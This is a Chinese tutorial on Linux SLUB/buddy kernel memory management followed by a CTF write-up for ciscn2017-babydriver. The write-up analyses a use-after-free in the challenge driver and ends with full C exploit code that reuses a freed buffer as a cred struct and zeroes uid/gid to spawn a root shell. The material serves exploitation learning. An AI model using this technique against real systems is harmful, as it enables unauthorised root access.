内存管理基础

Linux kernel 将内存分为 页→区→节点 三级结构,主要有两个内存管理器:buddy systemslab allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

用户 / 内核子系统
        ↓
kmalloc / kmem_cache_alloc
        ↓
SLUB / SLAB / SLOB   ← 对象分配器
        ↓
Buddy Allocator      ← 页分配器
        ↓
物理内存(page)

伙伴系统中分配内存是以页为单位的,即使所分配的 object 大小为 1 byte,也需要分配一页,这样就导致了比较大的内存碎片。因此 Linux 引入了 slab 分配器,加速对 object 的分配和释放速度,同时也减少碎片空间。

slab 的内存来自于 buddy,slab 相当于二级管理器。slab 和 buddy 算法上级别对等,两个都是内存分配器。buddy 是把内存条分成多个 zone 来管理分配,slab 是从 buddy 拿到的内存,进行分配管理。

内核堆内存主要指的是线性映射区,常用kmalloc函数分配内存。

slub 内存管理器会优先从当前核心的kmem_cache_cpu中进行内存分配。

img

数据结构

lab 分配的内存单位叫做object,它即为 slab 分配器分配的基本单元。内核中使用 kmem_cache 来管理同类型 object 的分配与回收。每一个 kmem_cache 对应一种特定大小或特定结构体类型的对象。

img

为了提高性能,在 SLUB/SLAB 实现中,kmem_cache 内部又包含:

  • kmem_cache_cpu(per-CPU 数据,用于快速分配)
  • kmem_cache_node(per-NUMA node 管理结构)

kmem_cache

kmem_cache是 Slab 的主要管理结构,申请和释放对象都需要经过该结构操作,部分重要字段如下:

struct kmem_cache {
    struct kmem_cache_cpu __percpu *cpu_slab;    //per cpu 缓存
    slab_flags_t flags;
    unsigned long min_partial;    //partial链表中slab的最大数量
    unsigned int size;    /* The size of an object including metadata 每个块内存实际需要的大小*/
    unsigned int object_size;/* The size of an object without metadata 除去元数据的对象大小*/
    struct reciprocal_value reciprocal_size;
    unsigned int offset;    /* Free pointer offset 到空闲指针的偏移,可以索引指向下一个空闲块的指针*/
#ifdef CONFIG_SLUB_CPU_PARTIAL
    unsigned int cpu_partial;    //cpuslab partial链表中slab的最大数量,超过数量的则被放入kmem_cache_node普通的partial链表中
#endif
    struct kmem_cache_order_objects oo;//记录slab管理page的数量(高16bits)和slab obj的数量(低16bits)
 
    struct kmem_cache_order_objects max;    //最大分配数量   
    struct kmem_cache_order_objects min;    //最小分配量
    gfp_t allocflags;    /* 从伙伴系统集成的分配请求掩码 */
    int refcount;        /* Refcount for slab cache destroy */
    void (*ctor)(void *);
    unsigned int inuse;        /* Offset to metadata */
    unsigned int align;        /* Alignment */
    unsigned int red_left_pad;    /* Left redzone padding size */
    const char *name;    /* 文件系统显示使用 */
    struct list_head list;    /* 所有slab的list */
#ifdef CONFIG_SYSFS
    struct kobject kobj;    /* 文件系统使用 */
#endif
#ifdef CONFIG_SLAB_FREELIST_HARDENED
    unsigned long random;
#endif
 
#ifdef CONFIG_NUMA
    unsigned int remote_node_defrag_ratio;
#endif
 
#ifdef CONFIG_SLAB_FREELIST_RANDOM
    unsigned int *random_seq;
#endif
 
#ifdef CONFIG_KASAN
    struct kasan_cache kasan_info;
#endif
 
    unsigned int useroffset;    /* Usercopy region offset */
    unsigned int usersize;        /* Usercopy region size */
 
    struct kmem_cache_node *node[MAX_NUMNODES];        //slab节点
};

kmem_cache_cpu

简要介绍一下kmem_cache_cpukmem_cache_cpu是一个percpu变量(这意味着,每个CPU上都独立有一份kmem_cache_cpu的副本,通过gs寄存器作为percpu基址进行寻址),表示当前CPU使用的slub,直接从当前CPU来存取object,不需要加锁,能够提高性能。然而这对于我们在Linux Kernel Pwn中,只会成为负担,毕竟我们并不希望额外考虑当前正在使用哪个CPU~。因此,我们在利用前,可以将我们的程序绑定到某个CPU上,即可无视掉这条规则。

cpu_slab是kmem_cache_cpu结构,如下:

struct kmem_cache_cpu {
    void **freelist;    /* Pointer to next available object */
    unsigned long tid;    /* CPU的独特标识 */
    struct page *page;    /* 当前正准备分配的slab */
#ifdef CONFIG_SLUB_CPU_PARTIAL
    struct page *partial;    /* 指向当前的半满的slab(slab中有空闲的object) */
#endif
#ifdef CONFIG_SLUB_STATS
    unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

keme_cache_node

而对于kmem_cache_node,它包括两个链表,其中一个叫做partial,另一个叫做full。顾名思义,partial链表中,存在部分空闲的object;而full链表中,全部object都已经被分配了。

slab 是一个或者多个连续页组成的内存空间,那么本质上执行一个 slab 的数据结构不是别的,就是struct page*,对应 slab 中的信息可以通过第一个 page 的某些字段描述,记住这点对后面的理解很重要。

struct kmem_cache_node {
    spinlock_t list_lock;        //自旋锁
#ifdef CONFIG_SLAB
    ......
#endif
 
#ifdef CONFIG_SLUB
    unsigned long nr_partial;        //partial list中slab的数量
    struct list_head partial;        //当前节点的partial链表
#ifdef CONFIG_SLUB_DEBUG
    atomic_long_t nr_slabs;
    atomic_long_t total_objects;
    struct list_head full;
#endif
#endif
 
};

Slub API

  • kmalloc

kmalloc函数与用户空间的malloc一族函数非常相似,只不过它多了一个flags参数。kmalloc函数是一个简单的接口,用它可以获得以字节为单位的一块内核内存。

kmalloc()用于申请较小的连续的物理内存,以字节为单位进行分配。

kmalloc函数原型如下:

void *kmalloc(size_t size, int flags)   // 分配的内存物理地址上连续,虚拟地址上自然连续

这个函数返回一个指向内存块的指针,其内存块至少要有size小。所分配的内存区在物理上是连续的。在出错时,它返回 NULL。

GFP_KERNEL标志表示在试图获取内存并返回给kmalloc的调用者的过程中,内存分配器将要采取的行为。

  • kfree

有申请自然就有释放,kmalloc函数的配套释放函数是kfree

kfree函数原型如下:

void kfree(const void *ptr) //释放由kmalloc()分配出来的内存块。

kfree函数释放由kmalloc分配出来的内存块。如果想要释放的内存不是由kmalloc分配的,或者想要释放的内存早就被释放了,比如说释放属于内核其他部分的内存,调用这个函数就会导致严重的后果。与用户空间类似,分配和回收要注意配对使用,以避免内存泄露和其他 bug。

例题 ciscn2017-babydriver

题目分析

题目文件:

  • boot.sh
  • bzImage
  • babydriver.ko

直接运行boot.sh启动内核出错,这是因为 qemu 在启动时尝试使用 kvm 硬件加速,但系统上没有可用的 kvm模块或权限不足。

加载 kvm 模块:

sudo modprobe kvm_intel   # Intel CPU
sudo modprobe kvm_amd     # AMD CPU

查看分析 init 文件:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

发现 flag 文件在 root 目录下,并且只有 root 用户才可以读取。

并且系统初始化时加载了lib/modules/4.4.72目录下的babydriver.ko模块,所以漏洞应该在这个模块中。

mkdir rootfs && cd rootfs
cpio -idvm < ../rootfs.cpio

然后将模块文件复制出来:

cp ./rootfs/lib/modules/4.4.72/babydriver.ko ./                 

ida 反编译分析:

  • 分配一个字符设备号babydev_no

  • 初始化cdev结构体

  • 注册字符设备到内核

  • 创建/sys/class/babydev

  • 创建/dev/babydev设备节点

  • 注册失败则清理资源。

  • babyopen

申请 0x40 大小的内存,并把地址存在device_bufdevice_buf_len=0x40

img

  • babyread

检查device_buf是否存在,存在则比较其大小和用户读取请求的长度。

nullimg

但是这里的伪代码是有问题的,copy_to_user的参数没有反编译完整。

copy_to_user的原型:

unsigned long copy_to_user(void __user *to, const void *from, unsigned long n);

通过快捷键y修改copy_to_user原型添加两个参数类型:

null

修复后的伪代码:

null

所以下面的代码逻辑是:如果device_buf大于用户请求长度,则将device_buf复制用户请求大小的长度到用户态buffer参数中。

  • babywrite

copy_to_user的参数同样有问题,使用上面的方法修改一下:

这里可以结合汇编分析出v4的值是从length参数获取的:

  • babyrelease

通过kfree释放device_buf,但是这里释放后未将指针置为零,所以存在 UAF 漏洞。

nullimg

  • babyioctl

如果command参数的值等于0x10001,则释放掉device_buf,然后再申请v4大小的device_buf

img

就是当用户态调用以下代码时执行:

ioctl(fd, 0x10001, size);

v4的值是v3的值,不过v3的值是哪里来的?

结合汇编分析一下可以发现是从arg参数获取到的。

img

解题思路

那块刚被 free 的内存(大小 0xa8)会重新进入 slab allocator 的空闲列表,等待下次分配。

本题中给了一个 UAF,这意味着我们可以通过释放一个object,再让内核中的某个结构体使用这个object,便可以达到任意写这个object的目的。这也就是我们kernel pwnUAF中的常见利用方式。

这里我们直接通过cred结构体进行提权。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <string.h>

char buf[0x40]={0};

int main()
{
    //open两次设备,分配两个对象
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);
    
    //申请0xa8大小的device_buf,cred结构体大小
    ioctl(fd1,0x10001,0xa8);
    
    //关闭设备,释放fd1的device_buf。
    close(fd1);
    
    //fork 分配 cred 结构体,相当于 kmalloc(0xa8),这样会复用被释放的 fd1 的 device_buf
    //这样 fd2 的 device_buf 和新分配的 cred 结构体就指向同一内核堆空间
    int pid = fork();
    
    if(pid<0)
    {
        printf("fork error\n");
    }else if(pid==0)  //判断是否为子进程
    { 
        //覆盖 cred 结构体。因为堆块重叠,实际覆盖了子进程的 cred 结构体前 32 字节 → 把 uid/gid 等字段改成 0 → 提权为 root。
        write(fd2,buf,32);
        
        //获取root权限后返回一个shell
        if(getuid()==0){
            printf("success\n");
            system("/bin/sh\n");
            return 0;
        }
    }else{
        wait(NULL);
    }
    close(fd2);
    
    return 0;
}